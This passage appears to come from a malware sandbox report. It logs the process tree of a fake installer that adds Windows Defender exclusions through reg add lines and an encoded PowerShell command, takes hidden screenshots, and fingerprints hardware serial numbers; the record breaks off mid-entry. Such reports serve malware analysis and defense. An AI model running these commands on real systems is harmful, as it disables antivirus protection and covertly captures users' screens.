- Suspicious use of AdjustPrivilegeToken
PID:5844

C:\Windows\System32\msiexec.exe
"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Desktop\setup\launcher.msi"
1⤵
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
PID:5268

C:\Users\Admin\Desktop\setup\Setup.exe
"C:\Users\Admin\Desktop\setup\Setup.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3188
- C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe
  C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  PID:6764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ps -p 3188 -o comm=,ppid="
    3⤵
    - Executes a command shell one-liner
    PID:6916
- - C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1744 --field-trial-handle=1748,i,10008514726053824804,11654457814890291944,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:7028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    PID:7060
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:3400
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:3688
- - C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=1812 --field-trial-handle=1748,i,10008514726053824804,11654457814890291944,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5768
- - C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2240 --field-trial-handle=1748,i,10008514726053824804,11654457814890291944,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
    3⤵
    - Executes a command shell one-liner
    PID:6332
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
      4⤵
      PID:6380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    PID:6532
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:6656
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:6664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\netcfg_439fdf.vbs""
    3⤵
    - Executes a command shell one-liner
    PID:6700
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\netcfg_439fdf.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:6336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:6704
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:6384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:6744
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:6380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:6752
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:6364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:6772
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651" /t REG_DWORD /d 0 /f
      4⤵
      PID:6288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:6780
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:6908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:6600
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files" /t REG_DWORD /d 0 /f
      4⤵
      PID:1192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:6616
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:6420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:6640
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:3484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:6724
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:6456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:6716
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:6396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:6932
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:7136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:6920
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:3932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABSAGUAcwBvAHUAcgBjAGUAQwBhAGMAaABlAF8AYwBkAGEANAA5ADIAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABBAHAAcABEAGEAdABhAFwAZgBpAGwAZQBzAFwAbQByAHoAMQA4ADYAZwB0AGYANgA1ADEAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEEAcABwAEQAYQB0AGEAXABmAGkAbABlAHMAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEEAcABwAEQAYQB0AGEAXABmAGkAbABlAHMAXABtAHIAegAxADgANgBnAHQAZgA2ADUAMQBcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:6916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABSAGUAcwBvAHUAcgBjAGUAQwBhAGMAaABlAF8AYwBkAGEANAA5ADIAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABBAHAAcABEAGEAdABhAFwAZgBpAGwAZQBzAFwAbQByAHoAMQA4ADYAZwB0AGYANgA1ADEAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEEAcABwAEQAYQB0AGEAXABmAGkAbABlAHMAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEEAcABwAEQAYQB0AGEAXABmAGkAbABlAHMAXABtAHIAegAxADgANgBnAHQAZgA2ADUAMQBcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dpinst_6a1574.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:6516
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dpinst_6a1574.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:6384
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      PID:7072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:6424
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      PID:7080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:6604
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      PID:692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:6360
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      PID:1200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\wusetup_229ef6.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:7076
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\wusetup_229ef6.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:6108
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      PID:1240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:6496
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      PID:6760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:6500
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      PID:2140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:6928
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      PID:3380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe'""
    3⤵
    - Executes a command shell one-liner
    PID:6624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe""
    3⤵
    - Executes a command shell one-liner
    PID:6420
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\ResourceCache_cda492\Installer.exe"
      4⤵
      PID:1200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651'""
    3⤵
    - Executes a command shell one-liner
    PID:6356
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651""
    3⤵
    - Executes a command shell one-liner
    PID:6652
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651"
      4⤵
      PID:6164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\files'""
    3⤵
    - Executes a command shell one-liner
    PID:6680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\files'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files""
    3⤵
    - Executes a command shell one-liner
    PID:4968
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files"
      4⤵
      PID:1824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe'""
    3⤵
    - Executes a command shell one-liner
    PID:4768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe""
    3⤵
    - Executes a command shell one-liner
    PID:7116
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe"
      4⤵
      PID:3688
- - C:\Windows\system32\cmd.exe
